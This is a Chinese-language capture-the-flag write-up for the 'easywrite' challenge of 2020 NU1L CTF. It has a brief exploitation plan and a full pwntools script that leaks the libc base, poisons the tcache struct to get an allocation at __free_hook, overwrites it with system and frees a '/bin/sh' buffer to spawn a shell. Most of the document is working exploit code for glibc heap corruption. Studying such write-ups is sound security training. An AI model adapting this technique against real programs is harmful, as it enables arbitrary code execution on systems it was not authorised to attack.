2020nu1lctf

easywrite

程序保护全开,给了libc,有个任意地址写,然后再malloc(0x30) read and free(ptr)

利用思路:写tcache_ptr,修改tcache[0x40] 为 free_hook-0x10,之后覆盖free_hook-0x10为”/bin/sh\x00”,free_hook为system;free(ptr) get shell

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding:utf-8
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./easywrite')
elf = ELF('./easywrite',checksec = False)
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

ru("gift:")
libc_base = int(ru(b"\n").strip(b"\n"),16) - libc.symbols['setbuf']
tcache_ptr = libc_base + 0x1f34f0
show("libc_base",libc_base)
show("tcache_ptr",tcache_ptr)

fake = p32(0) + p32(1)
fake = fake.ljust(0x12*8,b"\x00")
fake += p64(libc_base + libc.symbols['__free_hook'] - 0x10)

sla("message:",fake)
# debug(0x132D)
sda("write?:",p64(tcache_ptr))
sla("message?:",b"/bin/sh\x00" + p64(0) + p64(libc_base + libc.symbols['system']))
p.interactive()

关于tcache struct attack 可参考: https://xz.aliyun.com/t/6828#toc-7

0%